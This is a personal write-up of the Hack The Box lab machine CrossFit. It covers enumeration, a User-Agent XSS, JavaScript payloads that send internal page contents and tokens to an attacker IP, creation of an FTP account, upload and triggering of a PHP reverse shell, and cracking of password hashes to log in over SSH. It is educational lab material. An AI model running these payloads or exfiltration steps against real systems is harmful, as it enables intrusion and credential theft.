This Insane-difficulty machine from Hack The Box took far longer to root than I would have liked, mostly due to getting hung up on the the final exploit. I took a break from it, after getting the user.txt, due to frustration and wanting to make progress elsewhere. This machine challenged me in a number of areas, from creative enumeration methods, to code and binary analysis, to "exploit" writing in a foreign language (JavaScript and C!). After taking a break for a few months, I came back with a fresh perspective and was able to quickly discover the errors I had been making. (Along with fresh patience with the quick-clean script the authors used!). A script to automate all of the moving pieces of the final exploit solved my issues and I was able to root the machine.
NOTE: If the server is making use of self signed certificates you may need to add this as well:
lftp:~>setssl:verify-certificateno
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.208. The options I regularly use are:
All this time I did not know that there were more levels of verbosity, I had just been using -v to get information as it was discovered instead of waiting for the scan to finish. I will be using -vvv from now on!
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nmap -sCV -n -p- -Pn -vvv 10.10.10.208 1 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 12:30 EST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Initiating Connect Scan at 12:30
Scanning 10.10.10.208 [65535 ports]
Discovered open port 22/tcp on 10.10.10.208
Discovered open port 80/tcp on 10.10.10.208
Discovered open port 21/tcp on 10.10.10.208
Completed Connect Scan at 12:30, 32.81s elapsed (65535 total ports)
Initiating Service scan at 12:30
Scanning 3 services on 10.10.10.208
Completed Service scan at 12:30, 11.19s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.208.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 3.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.44s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Nmap scan report for 10.10.10.208
Host is up, received user-set (0.061s latency).
Scanned at 2020-12-28 12:30:02 EST for 48s
Not shown: 65532 closed ports
Reason: 65532 conn-refused
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-30T19:16:46
| Not valid after: 3991-08-16T19:16:46
| MD5: 557c 36e4 424b 381e eb17 708a 6138 bd0f
| SHA-1: 25ec d2fe 6c9d 7704 ec7d d792 8767 4bc3 8d0e cbce
| -----BEGIN CERTIFICATE-----
| MIID0TCCArmgAwIBAgIUFlxL1ZITpUBfx69st7fRkJcsNI8wDQYJKoZIhvcNAQEL
| BQAwdzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAk5ZMRcwFQYDVQQKDA5Dcm9zcyBG
| aXQgTHRkLjEXMBUGA1UEAwwOKi5jcm9zc2ZpdC5odGIxKTAnBgkqhkiG9w0BCQEW
| GmluZm9AZ3ltLWNsdWIuY3Jvc3NmaXQuaHRiMCAXDTIwMDQzMDE5MTY0NloYDzM5
| OTEwODE2MTkxNjQ2WjB3MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxFzAVBgNV
| BAoMDkNyb3NzIEZpdCBMdGQuMRcwFQYDVQQDDA4qLmNyb3NzZml0Lmh0YjEpMCcG
| CSqGSIb3DQEJARYaaW5mb0BneW0tY2x1Yi5jcm9zc2ZpdC5odGIwggEiMA0GCSqG
| SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDgibxJvtPny7Vee6M0BFBPFBohEQ+0zLDq
| LdkW/OSl4tfEdZYn6U5cNYKTyYJ8CuytGlMpFw5OgOBPATtBYoGrQZdlN+7LQwF+
| CZsedPs30ijAhygI7pM5S0hwiqdVReR/hhFHD/zry3M5+9NGeDLPgLbQG8qgPspv
| Y+ErCXXotxVI+VrTPfGkjPixfgUTYsEetrkmXlig0S2ukxmNs7HXkjli4Z+qpGrn
| mpFQokBE6RlD6VjxPzx0pfgK587s7F0/pIfXTHGfIOMnqXuLKBXsYIAEjJQxlLUt
| U3lb7aZdqIZnvhTuzuOxFUIe5dRWyfERyODEd5WUlwsbY4Qo2HhZAgMBAAGjUzBR
| MB0GA1UdDgQWBBTG3S2NuuXiSQ4dRvDnLqiWQdvY7jAfBgNVHSMEGDAWgBTG3S2N
| uuXiSQ4dRvDnLqiWQdvY7jAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUA
| A4IBAQB/tGKHZ9oXsqLGGW0wRRgCZj2adl1sq3S69e9R4yVQW7zU2Sw38CAA/O07
| MEgbqrzUI0c/T+Wb1D+gRamCUxSB7FXfMzGRhwUqMsLp8uGNlxyDcMU34ecRwOil
| r4jLmfeGyok1r8CFHg8Om1TeZfzNeVtkAkqf3XoIxbKQk4s779n/84FAtLkZNqyb
| cSv8nnClQQSlf42P3AiRBbwM1Cx9SyKq977sIwOzKTOM4NcSivNdtov+Pc0z+T9I
| 95SsqLKtO/8T0h6hgY6JQG1+A4ivnlZ8nqSFWYsnX10lJN2URlAwXUYuTw0vCMy+
| Xk0OmbR/oG052H02ZsmfJQhqPNF1
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b0:e7:5f:5f:7e:5a:4f:e8:e4:cf:f1:98:01:cb:3f:52 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCptno1XfLYf/kqcp6gzw/aP/qsmcpgjmJMckOswoHnQdrHb4NdPVNUX2pXPfHOz3it3uO85dLnInCGL1eYrtp0TAGAbxWZqGHtfzTTDqfOlPVzxGrQBIUVRYCpRWmJrMOEPfGnMOFwqTWWS9lpxhGytVc7PWPrI+xbHCx8K1FoAbu/0gq4ma9E4QnVKLj+WBWdGbODYP7WDHJgPOLZrmVoFNH4Kf16MOHcU9ZkCLBFlcJDwpa1I42KA8z8Plb0nuf5Oz2KOvc8OGe2tdNPwyR5RBfI6moAUcpf4yUVZA7nwqtQI1hMTZt51tP9Vi5+vHiEwSzFNMD7wFhL5/4FqD/D
| 256 67:88:2d:20:a5:c1:a7:71:50:2b:c8:07:a4:b2:60:e5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLWxr9V/NOESy7Mp0R4sTB0XMbGT79jDzOSrazVbblv3cIdNSCEqaw5+YYp2177KEQ0fFKB7pir9DMKhv6WTYAk=
| 256 62:ce:a3:15:93:c8:8c:b6:8e:23:1d:66:52:f4:4f:ef (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO5alU2Zh/TEwtrokhM4tkASihaiA38IKBWk7tFRoXWR
80/tcp open http syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: Host: Cross; OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:30
Completed NSE at 12:30, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.99 seconds
The scan showed that there were only three TCP ports open, 21 - FTP, 22 - SSH, and 80 - HTTP.
Port 21 - FTP
My first target was any potential low-hanging fruit that may have been accessed through FTP.
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
| Issuer: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US/emailAddress=info@gym-club.crossfit.htb
In my nmap output for port 21 I found two hostnames, crossfit.htb and gym-club.crossfit.htb, which I added to my /etc/hosts/ file.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ftp crossfit.htb
Connected to crossfit.htb.
220 Cross Fit Ltd. FTP Server
Name (crossfit.htb:zweilos): Anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
Without credentials, the first thing I check is whether or not the server accepts anonymous login. I was not able to log in to FTP using anonymous in this case.
Port 80 - HTTP
Next, I saw that there was an Apache web server being hosted on port 80. I opened my web browser and navigated to crossfit.htb to see what I could find.
crossfit.htb only led to the default apache page, meaning there was no default page configured at this address.
However, gym-club.crossfit.htb led to a CrossFit gym website.
The Wappalyzer Firefox plugin showed me the technologies that were in use on this site. I did a quick search for each of the ones that showed a version number but none led to any useable vulnerabilities.
The site included a schedule of classes. I took down the names Candy, Murph, Chelsea, and Annie as potential usernames.
The link to "Join the club" led to a "coming soon" page, but there was nothing useful there.
Since I had already found one virtual host for this IP address, as in HTB - Forwardslash I tried to do vhost enumeration using gobuster. I ran this in the background while enumerating the website.
This did not come up with anything, however. I tried with ffuf as well, but did not find any more subdomains.
On the "About-Us" page I found four more possible usernames: Becky Taylor, Noah Leonard, Evelyn Fields, and Leroy Guzman. As the Manager, Leroy seemed like the most likely target.
Cross-site Scripting (XSS)
Since there wasn't anything obvious to go by, I started doing some basic vulnerability testing on the submission boxes. The first one at /contact.php did not seem to be vulnerable to either XSS or SQL injection.
However, the second one I found at /blog-single.php gave a warning about XSS.
<div class='alert alert-danger' role='alert'>
<h4>
XSS attempt detected
</h4>
<hr>
A security report containing your IP address and browser information will be generated and our admin team will be immediately notified.
</div>
The warning claimed that browser information will be sent to the admin. I thought maybe I could smuggle something that would be executed by the admin through the "browser information": AKA User-Agent.
Using Burp I sent a request with a link to my machine in the User-Agent field. I made sure to send the same XSS attempt so this would be forwarded to the admin.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ nc -lvnp 8090
listening on [any] 8090 ...
connect to [10.10.15.98] from (UNKNOWN) [10.10.10.208] 56252
GET / HTTP/1.1
Host: 10.10.15.98:8090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://gym-club.crossfit.htb/security_threat/report.php
Connection: keep-alive
I received an HTTP GET request to my waiting netcat listener.
In the Referer field I saw /security_threat/report.php in the response headers, but was not able to access it. The code in this PHP file must have been what had checked the XSS request I had made, and somehow executed the <script> tags I had embedded, while creating the report for the admin.
In the same spirit I tried to get the admin to download a PHP reverse shell from me, but I couldn't find where it had been uploaded nor figure out how to execute it.
Origin Header with Access-Control-Allow-Origin response header
ftp.crossfit.htb
I was familiar with fuzzing for vhosts as well as directories and files, but fuzzing for a response in a header was something new. I did some research on more advanced uses of ffuf and found a few interesting articles.
With the information from these articles I was able to craft a set of parameters to fuzz the Origin header. In order to do this I needed to use the -H flag to include the custom header selection, as well as use the -mr flag to match using a custom regular expression.
Match on Regular Expression
In some cases, however, you may be fuzzing for more complex bugs and want to filter based on a regular expression. For example, if you’re filtering for a path traversal bug you may wish to pass a value of -mr "root:" to FFUF to only identify successful responses that indicate a successful retreival of /etc/passwd.
I knew if the response from the server included the words "Allow-Origin" that it was a valid request using the specified Origin header. Using this information, I was able to find another virtual host: ftp.crossfit.htb.
However, loading up this URL in my browser just led to another default Apache page. Next, I decided to see if I could use the same Cross Origin Request Forgery to get the headers of the internal page to see if there was a different view from the proper origin.
Cross Origin Request Forgery with JavaScript
TODO: add screenshot of sending request with this payload in Burp
Since the <script> tag that triggered the cross-site scripting exploit was using JavaScript (alert()), I decided that was the best language to write a payload in to try to get the server to access the page I wanted for me. I did a bit of research and found an easy way to make HTTP requests using JavaScript.
//test.js//testing access to ftp.crossfit.htb//var test ="http://ftp.crossfit.htb/";var request1 =newXMLHttpRequest();request1.open('GET', test,false);request1.send()var response1 =request1.responseText;//send response1 to my waiting python http.servervar request2 =newXMLHttpRequest();request2.open('GET','http://10.10.14.161:8090/'+ response1,true);request2.send()
I wrote a JavaScript payload to reach out to the ftp.crossfit.htb site then send the response back to my waiting Python HTTP server. I used this instead of netcat so the server would stay active and I wouldn't have to restart it each time the server closed the connection.
It took me a few tries, but I was able to get the server to download my script and execute it. The final response I got contained the encoded HTML for a web page.
After decoding the response I had the webpage at http://ftp.crossfit.htb as viewed internally. I could tell right away that this was not the same default Apache server page.
I saved the HTML code to a file and opened it in my browser. The page turned out to be an account management page for FTP. The "Create Account" button was a link to a site that sounded interesting: http://ftp.crossfit.htb/accounts/create. I modified my JavaScript payload to see what was at this page.
With this page it looked as if I could create a new account. I would need to send a POST request to http://ftp.crossfit.htb/accounts with a username, password, and the value from the hidden field _token.
//test2.js//testing _token retrieval//var test ="http://ftp.crossfit.htb/accounts/create";var request1 =newXMLHttpRequest();request1.open('GET', test,false);request1.send()var response1 =request1.responseText;//var request2 = new XMLHttpRequest();//send response1 to my waiting python http.server //request2.open('GET', 'http://10.10.14.161:8090/' + response1, true);//request2.send();//var token = response1.getElementsByName('_token')[0].value;var parser =newDOMParser();var response_text =parser.parseFromString(response1,"text/html");var token =response_text.getElementsByName('_token')[0].value;//send _token value to my waiting python http.server var request3 =newXMLHttpRequest();request3.open('GET','http://10.10.14.161:8090/'+ token,true);request3.send();
I modified my script to retrieve the hidden _token value. At first, I tried just reading the value of the _token element out of the response, but after some troubleshooting and more reading I found that the response text wasn't being properly parsed.
Once I was able to correctly parse this from the output I was able to send my POST request to the server to create a new user. First though, I had the test script send just the token back to me so I could see that it worked.
I received the reply back, this time with only the hidden _token value.
//test3.js//send user creation request to /accounts////Get the response from /accounts/create with the _tokenvar test ="http://ftp.crossfit.htb/accounts/create";var request1 =newXMLHttpRequest();request1.open('GET', test,false);request1.withCredentials =true;request1.send()var response1 =request1.responseText;//var token = response1.getElementsByName('_token')[0].value;var parser =newDOMParser();var response_text =parser.parseFromString(response1,"text/html");var token =response_text.getElementsByName('_token')[0].value;//send values of 'test' for username and password and append _tokenvar values ="username=test&pass=test&_token="+ token;//send request to my waiting python http.server for troubleshootingvar request2 =newXMLHttpRequest();request2.open('POST','http://10.10.14.161:8090/'+ values,true);request2.withCredentials =true;request2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');request2.send();//send _token, username, password to /accounts var request3 =newXMLHttpRequest();var values ="username=test&pass=test&_token="+ token;request3.open('POST','http://ftp.crossfit.htb/accounts',false);request3.withCredentials =true;//the server needs to know what type of content it is receivingrequest3.setRequestHeader('Content-Type','application/x-www-form-urlencoded');request3.send(values);var response3 =request3.responseText;//send request to my waiting python http.server with reply from account creationvar request4 =newXMLHttpRequest();request4.open('GET','http://10.10.14.161:8090/'+ response3,true);request4.send();
Next, I modified my payload to actually create the new FTP user.
Got a response on my HTTP server with the parameters I was sending to the server, then again with HTML code of the response. I hoped that it included some kind of way to tell if I had been successful at creating a user.
I went through a few iterations as you can see...at one point I thought that maybe my request was getting rejected because of too simple of a password so I upgraded it. It may or may not have been a typo I found in my script, but I left it anyway just in case.
I decoded the HTML response, then saved it to a file.
After recreating the webpage from the response, I could see that my account was created successfully! Next I tried to log into the server using FTP.
Port 21 - Revisited (using LFTP)
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ftp crossfit.htb
Connected to crossfit.htb.
220 Cross Fit Ltd. FTP Server
Name (crossfit.htb:zweilos): test3
530 Non-anonymous sessions must use encryption.
Login failed.
421 Service not available, remote server has closed connection
I tried logging in with FTP, but got an error 530 Non-anonymous sessions must use encryption.
In the /gym-club directory there was a file db.php. The password I found here unfortunately did not work with the username crossfit for either SSH or FTP.
lftp test3@ftp.crossfit.htb:/> ls ftp/database
drwxr-xr-x 2 0 0 4096 May 01 2020 factories
drwxr-xr-x 2 0 0 4096 May 02 2020 migrations
drwxr-xr-x 2 0 0 4096 May 01 2020 seeds
lftp test3@ftp.crossfit.htb:/> ls ftp/database/factories/
-rw-r--r-- 1 0 0 876 May 01 2020 UserFactory.php
lftp test3@ftp.crossfit.htb:/> get ftp/database/factories/UserFactory.php 876 bytes transferred in 1 second (876 B/s)
In the ftp/database/factories/ folder there was a file called UserFactory.php.
<?php/** @var\Illuminate\Database\Eloquent\Factory $factory */useApp\User;useFaker\Generatoras Faker;useIlluminate\Support\Str;/*|--------------------------------------------------------------------------| Model Factories|--------------------------------------------------------------------------|| This directory should contain each of the model factory definitions for| your application. Factories provide a convenient way to generate new| model instances for testing / seeding your application's database.|*/$factory->define(User::class,function (Faker $faker) {return ['name'=> $faker->name,'email'=> $faker->unique()->safeEmail,'email_verified_at'=>now(),'password'=>'$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',// password'remember_token'=>Str::random(10), ];});
This file contained a password hash, which I loaded into hashcat. It cracked almost instantly to reveal ... 'password'. This was most likely a placeholder.
lftp test3@ftp.crossfit.htb:/> ls
drwxrwxr-x 2 33 1002 4096 Jan 15 21:45 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html
While I was looking at the four main folders' permissions, I realized that the permissions for /development-test allowed for writing to the directory.
lftp test3@ftp.crossfit.htb:/> ls
drwxrwxr-x 2 33 1002 4096 Jan 15 21:45 development-test
drwxr-xr-x 13 0 0 4096 May 07 2020 ftp
drwxr-xr-x 9 0 0 4096 May 12 2020 gym-club
drwxr-xr-x 2 0 0 4096 May 01 2020 html
lftp test3@ftp.crossfit.htb:/> cd dev
cd: Access failed: 550 Failed to change directory. (/dev)
lftp test3@ftp.crossfit.htb:/> cd development-test/
lftp test3@ftp.crossfit.htb:/development-test> put ~/php-reverse-shell.php
5495 bytes transferred
```
Using the FTP command PUT I was able to upload files. I used this to upload a PHP backdoor that would send me a reverse shell when executed.
//get and run reverse shell//var test ="http://development-test.crossfit.htb/php-reverse-shell.php";var request1 =newXMLHttpRequest();request1.open('GET', test,false);request1.send()var response1 =request1.responseText;//send response1 to my waiting python http.server var request2 =newXMLHttpRequest();request2.open('GET','http://10.10.14.161:8090/'+ response1,true);request2.send()
I once again modified my original JavaScript exploit from earlier, this time simply requesting access to my PHP backdoor. I hoped that this would execute the code within and send me a reverse shell. On this one I took a logical leap. I assumed that since each of the other folders was running a virtually hosted web domain that development-test would be the same (even though there was currently no web page hosted there).
I received a connection request for my JavaScript code, and Burp, which I had used to send the request, showed that the server was stuck while trying to send me a response. This was good sign as this tends to happen when sending a reverse shell this way.
Initial Foothold
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ script initial-foothold 1 ⨯
Script started, output log file is 'initial-foothold'.
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ bash
zweilos@kali:~/htb/crossfit$ nc -lvnp 8091
listening on [any] 8091 ...
connect to [10.10.14.161] from (UNKNOWN) [10.10.10.208] 60548
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
22:51:04 up 2 days, 9:01, 0 users, load average: 1.78, 2.11, 2.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@crossfit:/$ ^Z
[1]+ Stopped nc -lvnp 8091
zweilos@kali:~/htb/crossfit$ stty size
54 104
zweilos@kali:~/htb/crossfit$ stty raw -echo
nc -lvnp 8091aa:~/htb/crossfit$
www-data@crossfit:/$ stty rows 54 columns 104
www-data@crossfit:/$ export TERM=xterm-256color
After a little bit of waiting, I got a shell back on my waiting netcat listener! The first thing I did was upgrade to a full PTY using Python.
Before starting my netcat listener I did some setup. First I ran the script command to log all of my commands and output, and I also used bash because zsh has a problem (at least on my system, not sure if it is a confirmed bug) where backgrounding the connection and setting stty raw -echo breaks the shell in a way that I cannot use enter or control key commands. If anyone has any feedback on this I would appreciate it!
I inspected /etc/passwd for local user accounts and found that root, isaac, and hank could login with a shell. These were my most likely targets.
www-data@crossfit:/home$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Sep 21 04:00 .
drwxr-xr-x 18 root root 4096 Sep 2 2020 ..
drwxr-xr-x 6 hank hank 4096 Mar 20 17:24 hank
drwxr-xr-x 8 isaac isaac 4096 Mar 21 07:19 isaac
In the /home directory there were only two user folders: hank and isaac.
www-data@crossfit:/home$ ls -la hank
total 40
drwxr-xr-x 6 hank hank 4096 Mar 20 17:24 .
drwxr-xr-x 4 root root 4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hank hank 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 hank hank 3526 Apr 18 2019 .bashrc
drwx------ 4 hank hank 4096 Sep 21 03:56 .cache
drwx------ 4 hank hank 4096 Sep 2 2020 .gnupg
drwxr-xr-x 3 hank hank 4096 Sep 21 03:55 .local
drwx------ 4 hank hank 4096 Sep 21 03:56 .mozilla
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 hank hank 807 Apr 18 2019 .profile
-rw-r--r-- 1 hank hank 0 Mar 20 17:24 V
-r--r----- 1 root hank 33 Mar 19 13:50 user.txt
www-data@crossfit:/home$ ls -la isaac
total 76
drwxr-xr-x 8 isaac isaac 4096 Mar 21 07:19 .
drwxr-xr-x 4 root root 4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 isaac isaac 220 Apr 27 2020 .bash_logout
-rw-r--r-- 1 isaac isaac 3526 Apr 27 2020 .bashrc
drwx------ 5 isaac isaac 4096 May 4 2020 .cache
drwxr-xr-x 4 isaac isaac 4096 May 11 2020 .config
drwx------ 3 isaac isaac 4096 Apr 28 2020 .gnupg
-rw------- 1 isaac isaac 52 Mar 20 18:21 .lesshst
drwxr-xr-x 3 isaac isaac 4096 May 4 2020 .local
lrwxrwxrwx 1 isaac isaac 9 May 4 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 isaac isaac 807 Apr 27 2020 .profile
lrwxrwxrwx 1 root root 9 May 12 2020 .python_history -> /dev/null
-rw-r--r-- 1 isaac isaac 74 May 5 2020 .selected_editor
drwx------ 3 isaac isaac 4096 Mar 21 06:59 .ssh
-rwxrwxrwx 1 isaac isaac 0 Mar 20 22:26 1
-rwxrwxrwx 1 isaac isaac 16744 Mar 21 07:03 exploit
-rwxrwxrwx 1 isaac isaac 367 Mar 21 07:07 root.sh
drwxrwxrwx 4 isaac admins 4096 May 9 2020 send_updates
I saw that hank had user.txt in his home folder, so now I knew I needed to move laterally to that user to get it.
TODO: insert output of search for hank in files (I may have deleted this since because of too many files?)
www-data@crossfit:/etc/ansible/playbooks$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Sep 21 06:20 .
drwxr-xr-x 3 root root 4096 May 8 2020 ..
-rw-r--r-- 1 root root 425 Sep 2 2020 adduser_hank.yml
www-data@crossfit:/etc/ansible/playbooks$ cat adduser_hank.yml
---
- name: Add new user to all systems
connection: network_cli
gather_facts: false
hosts: all
tasks:
- name: Add the user 'hank' with default password and make it a member of the 'admins' group
user:
name: hank
shell: /bin/bash
password: $6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
groups: admins
append: yes
After searching for files that had mentioned the user hank, I found adduser-hank.yml in the/etc/ansible/playbooks directory. This file had a password hash in it that I copied to my machine for cracking.
Password hashes with $6 at the beginning are most likely Unix sha512crypt encrypted. I used this information to quickly crack the hash using hashcat. It revealed the password to be powerpuffgirls.
User.txt
┌──(zweilos㉿kali)-[~/htb/crossfit]
└─$ ssh hank@10.10.10.208 1 ⨯
The authenticity of host '10.10.10.208 (10.10.10.208)' can't be established.
ECDSA key fingerprint is SHA256:tUOAuaaEof1kTFd4m9xiLiHk2k/pKSRnwhASRLb89Bo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.10.208' (ECDSA) to the list of known hosts.
hank@10.10.10.208's password:
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Mon Sep 21 05:46:24 2020 from 10.10.14.2
hank@crossfit:~$ ls -la
total 40
drwxr-xr-x 6 hank hank 4096 Sep 21 03:56 .
drwxr-xr-x 4 root root 4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root root 9 May 12 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hank hank 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 hank hank 3526 Apr 18 2019 .bashrc
drwx------ 4 hank hank 4096 Sep 21 03:56 .cache
drwx------ 4 hank hank 4096 Sep 2 15:22 .gnupg
drwxr-xr-x 3 hank hank 4096 Sep 21 03:55 .local
drwx------ 4 hank hank 4096 Sep 21 03:56 .mozilla
lrwxrwxrwx 1 root root 9 May 13 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 hank hank 807 Apr 18 2019 .profile
-r--r----- 1 root hank 33 Jan 15 00:50 user.txt
hank@crossfit:~$ cat user.txt
9e326def2df97f2b7ac41362a8d8f446
After cracking the hash to get the password I fired up SSH and logged in as hank. The first thing I did was collect my hard-earned proof.
Path to Power (Gaining Administrator Access)
Enumeration as hank
hank@crossfit:~$ id
uid=1004(hank) gid=1006(hank) groups=1006(hank),1005(admins)
The user hank was in the group admins which sounded interesting.
hank@crossfit:~$ sudo -l
-bash: sudo: command not found
Well, this was odd... It told me that it could not find the sudo command. I went and checked inside /usr/sbin and there was no binary for sudo installed.
hank@crossfit:~$ ifconfig
-bash: ifconfig: command not found
hank@crossfit:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:60:c9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.208/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:60c9/64 scope global dynamic mngtmpaddr
valid_lft 85816sec preferred_lft 13816sec
inet6 fe80::250:56ff:feb9:60c9/64 scope link
valid_lft forever preferred_lft forever
The program ifconfig was also missing.
hank@crossfit:~$ uname -a
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
I decided to check and see if this was a strange distribution, or a BSD system, but uname -a told me that this was a Debian-based system. Curiouser and curiouser...
I checked for running processes and noticed a few things were running from the /opt/selenium folder. I wasn't sure what that was so I looked it up. I also noticed that I was unable to see any processes from other users.
hank@crossfit:/var$ cd www/
hank@crossfit:/var/www$ ls
development-test ftp gym-club html
hank@crossfit:/var/www$ ls -la
total 24
drwxr-xr-x 6 root root 4096 May 28 2020 .
drwxr-xr-x 13 root root 4096 May 11 2020 ..
drwxrwxr-x 2 www-data vsftpd 4096 Sep 21 05:45 development-test
drwxr-xr-x 13 root root 4096 May 7 2020 ftp
drwxr-xr-x 9 root root 4096 May 12 2020 gym-club
drwxr-xr-x 2 root root 4096 May 1 2020 html
While checking for folders in the /var/www directory I noticed they looked suspiciously familiar...I also noticed the permissions for the user and group. The vsftpd group was what had allowed me to PUT files in the development-test folder using FTP. Interestingly, I could have also done this through a web interface if there had been a site hosted here because it was owned by www-data. This is probably why the folder was empty.
